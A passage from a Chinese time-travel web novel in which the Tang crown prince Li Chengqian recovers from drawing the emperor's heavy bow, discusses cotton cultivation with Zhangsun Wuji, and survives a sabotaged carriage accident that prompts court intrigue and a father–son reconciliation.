皇帝赐婚的诏书下达,原本许配房遗直的高阳公主,因李承乾居中调解,许了房遗爱。 因着这一层缘故,房玄龄见李承乾都热络了许多。 昨日遇刺的事情不好说,李承乾思量片刻,“昨日跟着陛下出门,一时好奇拉了把陛下的弓,今晨起身两只胳膊稍微一动,就疼得厉害。” 房玄龄悬着的心缓缓落地,还以为是上一次灌酒,太子得身体到现在都没恢复。 “陛下用的是重弓,虽不及巨阙天弓,也不是轻易能拉开的,殿下能拉开已经很不容易了。” 李承乾顿了一顿,才反应过来,皇帝用的弓,他竟然能拉的来,果然人到生死关头,爆发出来的潜力比吃兴奋剂都管用。 这让李承乾想起来国外举行的一场山地自行车比赛,一位吊车尾的选手,高歌猛进夺冠,举办方一度以为该选手使用了兴奋剂,最后一查才知,比赛中途该选手被一头熊追穷追不舍。 “我能拉开陛下用的弓,下一次陛下再说我小胳膊小腿,我可就有的说了。” 高士廉和魏征迎面走过来见礼,李承乾连忙回礼。 “殿下,您这个气色,可是受伤了?” 高士廉问出疑惑,下意识看了一眼太极殿方向,李承乾扶额苦笑,高士廉大概率误会了,以为他被皇帝打了。 “昨日拉了陛下的弓,今晨起身胳膊疼得厉害。” 魏征道:“殿下没事拉陛下的弓做甚?陛下天生神力,他用的弓是重弓,寻常人拉不开。强行拉弓,只怕伤了筋骨。” 不拉弓要丢命,李承乾不知道该怎么解释,昨日遇刺皇帝的态度未明,他此刻也只能三缄其口。 “殿下,一日不见,您怎么憔悴成这般了?” 李承乾闻声偏过头去看,拱手拜了一拜,“舅父。” “陛下打你了?” 李承乾叹气,来此不到十五分钟,这已经是他解释的第三遍了。 “不是,是我拉了陛下的弓,今晨起来胳膊疼得厉害。” 李承乾十分无语,这都是什么刻板印象,他一受伤,就是皇帝揍的。 第210章 间作种植 落座时胳膊摁到地面上,疼得李承乾一哆嗦,李世民眼尖注意到了。 “太子,你胳膊受伤了?” 李世民心下一紧,昨日回宫承乾都是好好的,一夜功夫这小子把自己胳膊折腾坏了? “回陛下,昨日拉弓用力太大,今晨起来胳膊有些疼,不碍事,休养几日就好。” 李世民道:“朕随身那把弓是重弓,你能拉的动,还能准确无误射中靶心,很不错了。” 李承乾拱手谢过皇帝,肾上腺素的功劳,毕竟生死大关,谁都淡定不了。 “敬德,剿灭高昌国,你有大功啊!” 尉迟恭道:“鞠文泰不战而降,白捡的功劳,臣实在不敢鞠躬。” “不敢居功,已经是功劳了。令郎宝琳,出仕东宫日久,待太子至诚,朕心甚慰。” 尉迟恭道:“能为陛下分忧,微臣父子万死莫辞。” 李世民爽朗一笑,“朕与敬德出入沙场,无往不利,朕还盼着有生之年,再与敬德并肩作战。” 尉迟恭道:“臣的年纪大了,这样的机会,往后很难再有了。” 李世民轻笑,也就个一年半载,他要亲征突厥,机会就来了。 “明威将军,朕若要你长伴太子左右,你可愿意?” 尉迟宝琳半点不带犹豫,回答皇帝:“臣愿意!” 言罢,尉迟宝琳满眼热切的看向李承乾,李承乾腰酸背痛,尤其两只胳膊,疼得掉渣,勉强挤出一个笑容回复。 尉迟宝琳很不解,拉个弓能难受成这样? “敬德,卫国公训练新军,朕想让你辅助卫国公,教习军中将士拳脚功夫如何?” 尉迟恭当即抱拳,铿锵有力的回了一句:“得令!” 李世民点点头,复又看向尉迟宝琳,“你父亲要给朕练兵,只怕分不出心神护卫东宫,这右屯卫中郎将一职,你可能胜任?” 殿内不少大臣目光落在尉迟宝琳身上,虽是意料之中,可来的也太快了。 “谢陛下,从今往后,臣护卫殿下,万死莫辞。” 李世民微笑点头,张阿难往前上了两步,宣读了任命尉迟宝琳为右屯卫中郎将的诏书。 尉迟家父子安排妥当,复议起高句丽频繁在边境挑衅一事。 “城内的安排,远在几十公里之外的高句丽人如何得知?每一次偷袭,都是趁着大唐处理内务之时,还能清楚得知道戍守最为薄弱的隘口,你们不觉得奇怪吗?” 高句丽人不是神仙,次次直达要害,造成不大不小的损失,只能有一个解释,出了内鬼。 能探析城防,必定是有身份的人,李承乾第一时间就想到了河北的世族。 将近三百年的统治,长安的李唐政权同河北世族关系一直都十分微妙。 一个内鬼都抓不出来,一次两次倒还罢了,高句丽的数次侵扰中处于被冻,只能说明该名将领无能。 李世民决定从凌烟阁里挑一个过去,最后选定了出身上谷的侯君集为安市刺史。 李承乾不着痕迹的看了眼侯君集,征讨高句丽时,侯君集曾上疏出征,被皇帝否决,出征的人换成了尉迟恭父子。 灭国之功就这么没了,侯君集心中有怨,只是李承乾没想到,侯君集这股怨气到现在都没散。 朝廷不是不可以将世家连根拔起,只是需要一个正当的理由,古人讲究师出有名。 侯君集贪财,放不下身外之物的人,注定不会有什么大气候,李承乾并不看好侯君集。 当年,李泰党羽遍布朝堂,若非实在无人可用,他也不会选择去贿赂侯君集,交好李元昌这种赌徒。 作为朝廷命官,侯君集贪污受贿是死罪,河北的世家贿赂侯君集,一样坐罪。 皇帝用侯君集,实则要对河北世族下手。 李承乾默默叹气,侯君集此去多半是再难列位朝堂,能保住一条命,都是玄武门的功劳。 总算熬到早朝结束,李承乾慢吞吞从地上起身,胳膊疼得厉害,两条腿也酸疼。 尉迟宝琳忙上前搀扶,“殿下放心,疼两天就好了,这个我老有经验了,我刚开始学骑马身上就疼了三两日,后来就不疼了。” 李承乾笑着拍了拍尉迟宝琳的肩膀,感谢对方投递的安慰,不过他的经验比尉迟宝琳更加丰富。 “太子,随朕去甘露殿。” 李承乾闻言,应了一声就默默跟了上去。 “张亮上疏,杜荷在高昌推广什么间作种植,朕在古籍里面看到过,朝廷命官亲自推广种植,还是十分新奇的。听张亮说,要把葡萄架控制半人高,葡萄架两侧中间的空地种上白叠。” 言罢,李世民看向李承乾,“你教他的?” 李承乾点点头,道:“得知他要出任西州抬手,提点了几句,能解决老百姓的分歧不满,推广间作种植,那是他的本事。” “杜荷这小子,若不是被你祸害,他会有更大的成就。” 李承乾不想聊这个话题,转了话锋,“白叠是上好的御寒之物,眼下尚未推广种植,臣让杜荷在西州试行,再逐步推开种植,解决了御寒的问题,征讨高句丽的胜算会大很多。” 李世民道:“想法挺好,中原大多种植粮食,推广白叠种植,会占用大量土地。” “昨日出门,京郊有许多土地闲置,实在是可惜了。” 李世民道:“这些世家,占据大量的土地,无法耕种就成了闲置土地,许多流民又无地可耕种。” 李承乾表示理解,贫富差距,无解的话题。 有人手握百十套房产,不肯稍稍降低房租,有人日复一日的挣扎,仅够糊口,租房都捉襟见肘,遑论购房。 “若种植白叠有利可图又当如何?” 李世民道:“你只说,你要干什么!” 李承乾道:“我记得舅父名下有不少的土地,我去找他,有利可图,他会愿意的。” 李世民笑得宠溺,语气却故作严厉,“你这个舅父,如今一门心思扑在你身上,今日他对朕的目光,有责备之意,不用细想朕都知道为何,他大致以为是朕逼迫你拉开重弓,导致你今日胳膊疼。” 说到弓,李承乾突然止住脚步,两眼冒光。 “父亲,臣能拉开你用的弓哎!” 第211章 贞观的凡尔赛 李世民笑而不语,不想打击李承乾,他用的的确是重弓,只是相对于普通人的重弓。 “这么开心,是觉得可以跟老子对射了?” “父亲,您别这么扫兴行吗?” 李世民笑容僵了一瞬,她扫兴? 他扫兴,他就应该直接告诉李承乾,那弓比巨阙天弓差远了,是个人稍加训练,都能拉开。 “这么自信,朕让人把巨阙天弓找出来,你玩玩儿?” 李承乾笑道:“臣玩儿巨阙天弓?您用胳膊拉开,换成臣得用脚蹬开。” “你还是挺有自知之明的。” 李世民抬手轻拍李承乾肩膀,一阵痛楚袭来,李承乾当即来了个闪避。 “父亲,臣胳膊疼,肩膀也疼,您就不怕把臣拍散架了吗?” 李世民双臂交叠,似笑非笑看着李承乾,“刚才不是挺得意,能拉的起重弓吗?” 李承乾下意识拉开同皇帝的距离,抬头一看皇帝脸色,心中十分不爽。 皇帝就差没原地给他脸上贴一张纸条,写上“易碎物品,切勿触碰”几个字。 “陛下,没其他的事情,臣告辞了!” 言罢,李承乾加快脚下步伐。 李世民笑容一僵,反应过来之后,骂了一句,“逆子!” 李承乾一路奔回东宫,得知高慎微今日没有进宫,他心中忧心,吩咐家令套车出宫。 得知李承乾来了,高慎微心下疑惑,李世民用的弓可不轻,就自家儿子那个身子骨,拉那么重的弓,没有腰酸腿疼,还能活蹦乱跳,太不可思议了。 看到父亲无事,李承乾松了口气,“吓死我了,还以为您受伤了。” 高慎微道:“你拉重弓,胳膊指定要疼上几天的,我去了你又要折腾,就没有进宫。” 李承乾尴尬一笑,在父亲身侧坐好,“父亲所料不错,今晨起来这胳膊疼的都要散架了。不仅是胳膊疼,肩膀这块儿也疼的厉害,两条腿也是酸困至极。” “你不经常不锻炼身体,这很正常。” “老爸,不要用你们的刻板印象看我行不?我每日都有打五禽戏的。” 高慎微发出一声长叹,颇为无奈的看着儿子,“有这个心就行,打的好不好还在其次。” 李承乾:…… “也不至于那么差吧?” 高慎微心下叹气:华佗来看了,恨不得五禽戏失传, “昨日有人送拜帖给我,你要不要看看?” “哦?”李承乾颇为好奇,问道:“是谁的拜帖?” “房家二郎。” 房遗爱? “拜帖上怎么说的?” 高慎微道:“只说要来拜见,具体想表达什么,我还不知道,这得他来了我才知道。” “青雀去了扬州,应该不会是做青雀的说客。” 高慎微清了清嗓子,“应该是为自己绸缪,房遗直是上岸了,勉强算是你的门生。今后就算不能继承房玄龄的衣钵,也不会太差。 房遗爱大概率想走你的门路,可房玄龄已经有一个儿子在东宫,加之房遗爱曾在李泰那里做幕僚,大抵不会出面说这个话。 魏征和李靖从皇帝任命他们进东宫之后,对你一心一记,房遗爱首鼠两端的人,求上这二人门前,也只是自取其辱。长孙无忌和李世绩也有这个面子,不过他门二人鱼一般的滑,自家儿子都没进东宫,岂会帮着房遗爱走门路。” 李承乾忍不住发笑,“那他可真会选人,选来选去,选了个最不可能给他说好话的人。” 高慎微看了一看漏刻:“按照拜帖上的时间,再有两刻钟时间,房遗爱就要过来了,你可要一见?” 李承乾摇摇头,道:“我就不见了,时间还早,我去国舅府里走走,有很长一段时间,没去看看我这位好舅舅了。” “你这位舅舅,有一股高书记的味道,野心勃勃,又一身不合时宜的书生气,心狠手辣,又狠不到地方。” 李承乾沉默片刻,结合长孙无忌一生的经历,父亲这个评价,倒是十分中肯。 “今日我是待不了许久了,我不好出宫,记得明日进宫看我。” 高慎微点点头,“忙你的事情去吧!” “白酒,您还有吗?” 高慎微顿了一顿,“皇帝不会是问你,能不能给他酿白酒吧?” 李承乾点点头,他当然不会说上次皇帝白酒兑葡萄酒,还整的是冰镇的,险些要了她一条小命。 李承乾点点头,“空手上门不太好,父亲,您说是不是?” 高慎微白了眼儿子,“拿我的东西,走你的人情?” “老爸……” “打住!”高慎微单方面叫停儿子撒娇,道:“我这就去给你取来,拿了东西赶紧走。” 拿到白酒,李承乾拜别过父亲,出了高宅大门,吩咐吴顺赶车去国舅府。 长孙无忌闲暇时喜欢在书房静坐,看书、下棋,或是修剪院子里的花草。 李承乾第二次上门,长孙无忌放下手头里的书,整理一番仪容出去迎李承乾。 “舅父,我今日来拿了好东西给您。” 长孙无忌淡笑,没事儿献殷勤,非奸即盗的。 “直说,你遇到什么麻烦了。” 李承乾:…… 都位极人臣了,说话要不要这么直接? 算了,外交名场面看多了,似乎也很合理。 长孙无忌生活在武德充沛的唐朝,没口吐脏话,已经十分儒雅了。 “天呐!没事儿我就不能来走走亲戚,看看您吗?” 长孙无忌道:“你要不要掰着指头算一算,你来了长孙家几次?” PUA他? 谁怕谁啊! 李承乾道:“舅父平日里不苟言笑,我其实挺怕您的。” “现在不怕了?” 李承乾道:“哪有外甥不怕舅父的,可怕归怕,我还是得好生孝敬您,陛下脾气不好,他要哪天气狠了,把我往死里打,也就您敢拉一把。” 长孙无忌笑道:“你父亲真的要把你往死里打,舅父也救不了你。” 话是实话,但太沉重了,李承乾换了个话题:“舅父,我能拉得动父亲用的重弓,是不是进步了许多?” 长孙无忌看看李承乾,不太想打击自己这个外甥,但又不想昧良心夸。 “我跟你实话实说,是个人,稍微练一练,都能拉的开。” 李承乾:…… “拉开的要是巨阙天弓,那你真的是进步了。” 李承乾默默闭上嘴巴,长孙无忌这一堆人的标准,太凡尔赛了,不是他能碰瓷的。 “猞猁呢?舅父,我想去摸猞猁。” 第212章 长孙无忌的教诲 “这才是你来的目的,那只猞猁。” 李承乾暗道:人心里的成见,是一座大山。 “承乾,你是太子,君上是不能暴露喜好的。” 李承乾点点头,“我知道,所以我都不怎么去卫公府上了,老早就想来舅父这里摸猞猁了,生生拖到了今日。” 长孙无忌道:“君上喜恶一旦暴露,便只能舍弃,否则就是可任他人拿捏的软肋,那些心怀不轨之人,就会趁虚而入。人在志得意满的时候,总是糊里糊涂,刚愎自用的。 你是太子,有人提点,不听人提点了,还有陛下给你教训。陛下千秋万代之后,你做了皇帝,有人给你进言,听不听全在你,一朝行程踏错,危及的就是社稷。 压制着自己的喜好,少去卫公府里摸山君,也没有急不可待的来我家里摸猞猁。承乾,这件事情你做的很好。” 这个道理,李承乾懂,李三郎宠爱杨玉环,安禄山得了巧宗,亲手葬送了空前的大唐盛世。 李承乾忍不住向长孙无忌诉苦,“舅父,孔颖达要回来了,还会做我的太子宾客。” 意料之中,长孙无忌轻拍李承乾手背,“当日你拿太子的身份,扣了孔颖达一个不忠的帽子,逼迫陛下将他流放岭南,可他终究出身孔氏,是孔圣人的后代,陛下召回他是迟早的事情。” 李承乾道:“孔圣人的后代,一直都是山东世家的魁首,敲得是孔颖达,震慑的是以孔家为首的山东世族。眼下陛下要对代北世族下手,难免牵扯到山东部分世族,总要先举一杯敬酒。他们吃了最好,不吃的话也可以师出有名的收拾。” 长孙无忌含笑点头,“承乾,你真的是长进了。” “舅父苦口婆心的教了那么久,我总要长进些许。” 长孙无忌笑道:“看样子,在陛下那里吃了排头,心里不舒服。” “陛下总说我小胳膊小腿,一碰就碎,昨日偶然间拉开陛下用的重弓,射出去的箭矢正中靶心,我是真的开心。” 这么一说,长孙无忌就明白了,李承乾为自己摆脱“小胳膊小腿”而开心,以他对李世民的了解,就算嘴上不说破,单单目光就足以让人破防。 “打五禽戏也好,让卫公和高先生教你打拳也罢,你的目的,只是强身健体,又不是作为将帅去拼杀。评价你拳脚功夫的人,除了陛下之外,都是战场上拼杀的将帅。 汉高祖有言:‘夫运筹帷幄之中,决胜千里之外,吾不如子房;填国家,抚百姓,给饷馈,不绝粮道,吾不如萧何;连百万之众,战必胜,攻必取,吾不如韩信。三者皆人杰,吾能用之,此吾所以取天下者也。’ 君不与臣争功,官不与民争利。承乾,你是太子,学的是帝王之道,是驭人之术,用人之道,同臣子争长论短,本末倒置了。” 一语惊醒梦中人,怪不得皇帝总说,让他找长孙无忌。 不得不说,皇帝看儿子不准,用臣子挺准的。 “谢舅父教诲,承乾受教了。” 话题有些沉重,且要说的话说完了,长孙无忌话锋一转:“你说来看舅父,进门不问舅父安好,只想着去摸猞猁,我说承乾,你就不能演演?” 李承乾叹气,道:“舅父,我是真来看您的。” “有多真?说来我听听。” 李承乾思索片刻,他想说比三九纯金还真,转念一想,大唐的金子纯度应该达不到三个九。 “比舅父家里真的养了猞猁还真。” 长孙无忌被逗得发笑,拍拍李承乾肩膀,话还没出口,李承乾触发闪避机制。 “舅父,我胳膊疼,肩膀也疼,两条腿又酸又软,经不起您这么一拍。” “不是我说你,承乾,你自己的身子骨,你自己心里有数,陛下要你拉那么重的弓,你就傻乎乎的真去拉?从前你的脾气又臭又硬,对上陛下半点不知变通,只知道强攻,次次吃亏。现在是温良过了头,这一次拿自己的身体开玩笑,下一次不怕小命搭进去?” 皇帝密而不发,李承乾当然不会多嘴,随便编了个理由,回答长孙无忌,“性命攸关,不敢不拉。” “你不拉,我不信陛下会打死你。” 李承乾叹气,满脸的苦涩难以言喻。 “舅父,陛下不会打死我,会把我往死里打。前几次打我,您都是知道的。只要陛下不把我拉去太极殿和两仪殿,当着大臣的面打,大臣们都是睁一只眼闭一只眼。” 长孙无忌叹气,说话的语气颇有几分恨铁不成的味道:“不说陛下打你,你干的那些事,你当时那个态度,我看了都想给你几脚。” 李承乾:…… 友谊的小船,说翻就翻。 “陛下是皇帝,那也是你的父亲,你当初但凡有现在一半机灵,都不至于挨打。” 这话题不能再继续下去,李承乾大脑飞速运转,寻找新的话题。 抬眼四周一扫,所到处,满堂芳菲如霞,奇花异卉数不胜数,李承乾不禁感慨,“舅父侍弄花草,倒是厉害啊!” 长孙无忌道:“侍弄花草,收集古籍,我也就这么点儿喜好了。私下里玩玩儿,打发时间。” 李承乾心下暗暗叹气,若长孙无忌一直保持这个喜好,不去想了太多,估计也不会落得最后那样一个下场。 或许,长孙无忌一开始也没想做权臣,大抵是帝王年老了,储君年少,滋长了老臣的野心。 一步错,步步错,越陷越深,尝过辅政大臣大权独揽的甜头,等到想起急流勇退时,已经树敌无数。 “舅父,房遗爱来过吗?” 闻言,长孙无忌看向李承乾,问道:“不曾,他直接求到你面前了?” 李承乾道:“这倒没有,因教习武事之故,我与高先生走的颇近。” “他去见高慎微了,高慎微又将此事告诉你?”长孙无忌思索片刻,补充道:“玄龄不会这么糊涂,想来是房遗爱自作主张,要同房遗直争上一争。” 李承乾点点头,这个概率颇大,房玄龄过世之后,关于爵位之争,房遗爱和高阳夫妇就争过,逼得房遗直上疏请辞,以退为进,最后皇帝出面,袭爵之事盖棺定论。 第213章 摔马车 “我看舅父院子里栽种了不少的白叠。” 长孙无忌道:“这东西好养,你的东宫也种了不少。” 棉花在南北朝时期传入中国,但早期只作为富贵人家的观赏花卉。 晚唐之后,才开始逐渐作为纺织材料。 “舅父可知,那白叠的花,可是上好的御寒之物啊!” “哦?” 长孙无忌眸色深深,现下御寒之物多是动物皮毛、木棉、芦花,白叠若能御寒,倒不失为一个商机。 李承乾蹲下身子,目光灼灼盯着笼子里的小猞猁。 毛茸茸的,还凶巴巴的呲牙,实在是太可爱。 长孙无忌表示没眼看,竟然在人的脸上,看到了对猞猁的谄媚。 “承乾啊!你收敛着点儿行不?” “舅父种的这几盆,不够做棉衣的,东宫里种了不少。秋收之后,我借花献佛,舅父莫要嫌弃寒酸。” 李承乾折了支菖蒲在手里,逗弄笼子里的猞猁。 长孙无忌在廊下落座,“真正的佛在太极宫里头,承乾,你可不要分不清主次。” 李承乾道:“把谁落下了,我都不敢那尊大佛落下。” “如此,我在这里谢过殿下。” 突然来了生人,加之环境因素,猞猁有些应激,这家伙的老家在雪山,耐寒但怕热,长安六月份的气温并不善良。 李承乾丢下菖蒲,走过去坐到长孙无忌身边,方才那一声“殿下”的意思,是要他有话直说。 “很多东西要推开,都是自上而下。” 长孙无忌笑了笑,“我明白你的意思,白叠价贵,一般的庶民购置不起,非要大族逐利,铺开种植,东西多了,也就不值钱了。 有利可图,首先冲上去的就是世家大族,自家的饭碗里的肉,他们看得比谁都重。让他们自己起势,朝廷顺势而为,造福了民生,又避免了不必要的麻烦。” 关中地区以关陇世家为主,要从关陇世家下手,当然得找他长孙无忌。 李承乾笑道:“陛下有心肃清北方边患,将白叠纳入税收之中,还能充盈国库。” “我现在就开出一片土地,让人播种。” “迟了!”李承乾友情科普:“长安的地理条件,白叠在四月中旬播种,迟不过五月,如今都六月中旬了,太迟了。病虫害风险会提高,产量降低,白叠价贵,忙活了一场若没有收益,白白的浪费银钱不值得。” 长孙无忌心下一惊,农事经验,非亲身经历而不得,李承乾一个养在深宫,金尊玉贵的太子,怎会如此熟悉农事? 若是寻常作物倒还罢了,可以询问百姓,白叠在民间只是观赏花卉,根本就没有经验来源。 “承乾,你……” “怎么了?”李承乾还未意识到自己长孙无忌起疑,“舅父,我说的是真的。” 眼下他俩一条船上的蚂蚱,往后利益合作还多着,第一次让长孙无忌办事儿,就搞赔本买卖,以后这老小子还会愿意帮他办事儿吗? “就算不考虑时间问题,眼下大量后置白叠,也会遭售卖白叠的商家恶意抬价。现在是六月中旬,明年四月中旬播种,未来十个月的时间,舅父可以慢慢屯置白叠种子。” 长孙无忌默默压下疑惑,道:“那就听承乾的。” “舅父,我都饿坏了。” 长孙无忌当即唤来下人,吩咐摆膳。 用力过猛,吃饭个都折磨人,长孙无忌看出李承乾窘迫,没有开口点破,李承乾和李世民有些方面很像,死要面子活受罪。 酒足饭饱过后,李承乾从长孙府启程回宫,车行至半路,马突然发出一声嘶鸣,李承乾暗道不好,没等他反应过来,马发疯似的往前冲。 人群慌忙躲闪,因躲闪不及的不幸被殃及的不在少数,李承乾听到“咔嚓”一声,应该是马车某个零件受损,猜测马车和马都被人做了手脚。 李承乾当机立断,跳车逃生,马车行速极快,惯性使然,李承乾重重的摔在地上,右腿脚踝处传来钻心的疼痛。 有疯马当街伤人,很快就引来了负责巡防的武侯铺,武侯铺由金吾卫组成,配合不良人,主要管理基层治安。 疯马被当街斩杀,因不明确是否是闹市纵马,马车的主人李承乾也被人围住。 “放肆,你们是什么东西?我家公子也是……” “闭嘴!” 李承乾呵斥住吴顺,太子的马受惊了,本人还摔下马车,又不是什么光彩的事情,贸然暴露身份,只怕明日坊间流言就是太子当街纵马。 “请你们长史过来。”李承乾掏出东宫的鱼符,又嘱咐道:“疯马和马车守好,给我留在原地,不许动分毫。” 东宫的鱼符,负责巡防的武侯不敢怠慢,眼前之人就算不是太子,也是非富即贵,不是他们能惹得起的人物。 涉及东宫,鱼符被迅速递到了负责京城治安巡防的李大亮手里,登时惊出了他一身冷汗,唤了京兆尹段伦一同前来。 李承乾被就近安置到一处驿馆,李大亮和段纶来时,郎中正在给李承乾包扎。 二人正要行礼,被李承乾出声制止,行示意不要暴露身份,道:“马和马车都在原地,没让人经手,你们查清楚是怎么回事。疯马失控被波及的人,整理出一份详尽的单子出来。再有,给我准备一辆新的马车,我要回去。” 李大亮赶紧下去安排马车,段纶领京兆尹的人将马和马车收拾带走,顺道统计马车失控,人员伤亡情况。 事关重大,不可能瞒住皇帝,况且,他出行的车马出了问题,必定要问责太子仆,掌管东宫车马的太子仆是皇帝亲自任命,要提前跟皇帝打招呼。 听说李承乾从马车摔出去,李世民星夜赶往东宫,确定只是轻微扭伤,养个把月就能行动如常,李世民悬着的心这才落地。 “昨日才发生的刺杀,你今天大摇大摆的出门?出门就罢了,你还不带随从?李承乾,你到底长没长心?朕怎么养了你这么个蠢货?” 脚踝传来的阵痛令他心烦意乱,又要挨骂,李承乾一时也有了几分脾气。 “我这个蠢货不配做陛下的儿子,我一直都有自知之明,陛下没必要重复提醒。” 第214章 太子右卫率 不把自己的安危当回事儿,他不过说了两句就闹起脾气,李世民火大,可定睛细看,李承乾脸色苍白至极,一身的汗水,心下不忍,将要出口的斥责被生生压下。 “朕就是关心你,一时将话说重了,瞧瞧你这个臭脾气,说的都是些什么话?” 皇帝说软话了,李承乾心里也不好受,他深吸一口气,压了压心里翻涌的情绪。 “东宫车马是太子仆管的,臣明日召见太子仆,想要询问一二。” “出了这样的事情,没把他直接下狱都是好的,何况是召见询问?朕已经让阿难派人去捉拿了。” 李承乾扒拉开被子,“太子仆是您任命的,您不在京师就罢了,您在京师,要动他总要同您知会一声。” 李世民点点头,颇有一种劫后余生的感慨,“承乾,你真是吓死朕了。你是没有心肠,不知道朕得知你从马车上摔下来有多担心。当年三千玄甲军对阵窦建德十万大军,朕的腿都没软,可今日甘露殿到显德殿不过一射之地,朕走的两腿发软。” 皇帝又哭了,怕什么来什么,李承乾CPU瞬间冒烟。 “父亲,臣才是受伤的人,臣都还没哭呢!” 李世民道:“你自己也有孩子,倘或受罪的是你的孩子,你难道能狠心不掉一滴泪?” 这个话题,李承乾不想参与。 “父亲,我困得很,您也早些回去歇着吧!” 得知李承乾无碍,又见李承乾气若游丝,显然被折腾的狠了,李世民不欲多加纠缠,叮嘱过宫人之后,便打道回甘露殿。 前去传令的宫人匆匆禀报,太子仆自尽。 早朝,段伦和李大亮将查到的结果,写成奏疏,递交到皇帝手里,另外送了一份疯马失控人员伤亡记录到东宫。 李承乾数了数人数,这一场事故波及人数高达四十三人。 座驾出了事故,车主负主要责任,李承乾估摸着时间,让人去叫太子左庶子马周过来。 “马卿家,你掌管朝廷中馈,核算账目最是清楚。” 李承乾目光示意宫人将伤亡名单递给马周,“我想请你帮我做一件事情。” 马周道:“为太子殿下分忧,是臣分内之事,殿下如此客气,倒让臣不安了。” 李承乾道:“马卿家去查一下,如今长安城中一个青壮年一年收入的银钱是多少,一个妇人一年收入的银钱又是多少。不瞒卿家,昨日我出宫,归途之中,先是马突然失控,马车也被损毁,事故发生在朱雀大街,人流十分密集,造成了不少的伤亡。” 马周明白了,太子这是要给伤亡人员做出赔偿,遂发问:“殿下赔偿的标准是什么?臣心中有数,也好给个大致的核算。” 权贵马车撞人,出身底层的马周深有体会,是否赔偿,完全看权贵的良心。 李承乾思索片刻,道:“大唐是七十岁致仕,用致仕年龄减去伤亡年龄,乘以每年收入,算出来的银钱,即为赔偿。” 马周心下一惊,赔这么多的吗? “殿下,这个赔偿是否太高了?” 李承乾道:“家里的支柱或死或伤,吃药看伤哪个不用钱?家中老小也要生活,这个钱从我私库走。” 他私库的钱够了最好,不够了找皇帝报销。 高慎微进宫,得知昨日之事,也吓出了一身冷汗。 “哪个领导人出门,不是前呼后拥?你一个太子,国家二把手,你出门怎么能不带人?” 李承乾至今才发现,他对跛足还是有阴影,又看父亲满脸心疼,想着父亲一把年纪为他忧心,不觉落了泪。 “我以后出门注意。” 高慎微顿了一顿,他也没说重话,孩子怎么就哭了? “是不是陛下骂你了?” 一进门就听见有人叨叨自己,李世民叫一个窝火。 “姓高的,你别在这儿挑拨离间行不?” 李承乾抬头一看,呆愣愣的看着皇帝。 李世民看到李承乾满脸泪水,也不知哪里来的火气,憋得他十分难受。 “太子要有太子的体统,哭哭啼啼的像什么样子?” 话音刚落,寝殿内陷入一片死寂。 史书盖章,最爱哭的皇帝是谁? “知道了,我不哭就是了。” 李承乾迅速擦干眼泪,李世民挨着李承乾的床榻落座。 “马车的车轴被人动了手脚,京兆尹命人剖开马腹查验,有人投毒,才致使马无故发疯。” 李承乾道:“太子仆那里怎么说?父亲问出什么了吗?” 李世民道:“朕的口诏过去,未及捉拿,他已经畏罪自尽了,尸身尚存温度,到底慢了一步。” 李承乾陷入沉思,太子仆死了,线索断了,但足以说明,这不是意外,是有预谋刺杀。 “太子仆从四品上,掌管东宫车马仪仗,是要职,你觉得李德謇如何?” 李承乾道:“德謇心思细腻,可为人太过老实,做个文书主簿没问题,太子仆就算了,臣觉得臣那个妹夫程处亮就不错。” 李世民道:“你不是不喜欢这个人吗?觉得他滑的鱼一般?” 李承乾道:“他的确滑,可他也聪明。” “此事随你的意思来。”李世民不禁感叹,“说到程处亮这小子,贞观七年迎娶的清河,这都过去五年了,清河才有了身孕。” 提到清河公主,李承乾忍不住叹气,贞观初年修订的律法,颁布《令有司劝勉庶人婚聘及时诏》,其中对女子出嫁年龄明确规定为十五岁,但无法约束皇族,长乐十二岁嫁长孙冲,清河十岁嫁程处亮。 “若非清河有了身孕,程处亮也不会被赶去睡书房。” 李世民道:“你都这个年纪了,一点都不让人省心,还是女儿好,与世无争。” 毕竟是自家姑娘,李承乾不好吐槽,大唐的公主跟与世无争可没什么关系。 “歇个一个多月,我就直接主持制考了。” 李世民叹气,“这一次实在太险了,朕已经下诏常何领太子右卫率一职,往后你出宫他随身保护。” 李承乾愣了愣神,高慎微也是一惊。 毕竟,那是常何,参与过玄武门的天使投资人,绝对的重量级,能把常何搬出来,皇帝是真的被吓到了。 第215章 带话 疼痛稍稍缓解,李承乾困意上头,李世民和高慎微见状,确认过眼神,不约而同离开显德殿。 “慎微,再有一个多月你就要走了,你把承乾教导的很好,朕很舍不得你。” 高慎微道:“陛下,他本就很好,只是走错了路,我只是点了一盏灯,告诉他正路该怎么走。” 李世民道:“朕想请先生带一句话,给另一个世界的承乾。” 高慎微不语,他觉得没那个必要,另一个承乾半释然状态,提起过往,只会伤害到另一个承乾。 “陛下可以说,我要问承乾愿不愿意听,他愿意听我才能说,他如果不愿意听,那我就不能说。” 李世民点点头,“昨夜惊闻承乾摔出马车,朕一宿不眠,回忆过往,截止贞观十年,青雀的封底多达二十二州,督二十三州军事,朕又许他设立文学馆,想他搬进武德殿。 细细想来,也不怪承乾恐慌,换作谁是太子都坐不住。何况那时,承乾的腿脚不方便,撑了三年才开始自毁,他也不容易。” 听着李世民讲述,高慎微心情很是沉重。 “慎微,朕会好好养着你的高明,你替朕带话给承乾,告诉他,父亲对不起他,他一直都是父亲引以为傲的儿子。” 从得知李承乾轮回之后叫高明,李世民再也没有喊过“高明”二字,甚至一度想要给李承乾换个新字。 高慎微道:“陛下,我还是那句话,我答应帮你带话,但说不说,取决于承乾愿不愿意听。” 李世民道:“慎微,你告诉朕一路实话,你愿不愿意承乾听到朕的歉意。” 高慎微沉默良久,深深一叹,“一开始得知承乾和高明互换,我不知他是高明前世,只当是收留一个无家可归的孩子,我和夫人对他极尽疼爱,是怜惜他的遭遇,更是怕他情绪不稳定,伤了高明的身体,让高明没法子回来。 后来,一次机缘巧合,高明回来了,我得知了前因后果,高明或是承乾,他们是不同时间段的同一个人,都是我的孩子,我不希望我的孩子受到伤害。所以,陛下,老实说,我不愿意承乾询问陛下的带话,因为陛下这番话,承乾他不会淡然。” 李世民轻笑,“看样子,朕也不是那样小气,朕不愿朕的孩子心里念着你,你也不愿你的孩子心里念着朕。” 高慎微道:“若我与陛下在同时代,承乾念着陛下,我会毫不犹豫邀陛下同住。多一个人疼爱我的孩子,这是好事。我不愿意承乾听到陛下的歉意,只有一个原因,承乾她放不下过往。陛下的歉意,于他而言就是掺了砒霜的蜜糖。” 李世民道:“如果承乾他要听呢?” 高慎微道:“那我也只能告诉他,这是他的选择。” 李世民道:“慎微,若你不愿意让承乾知道,你可以闭口不言。” 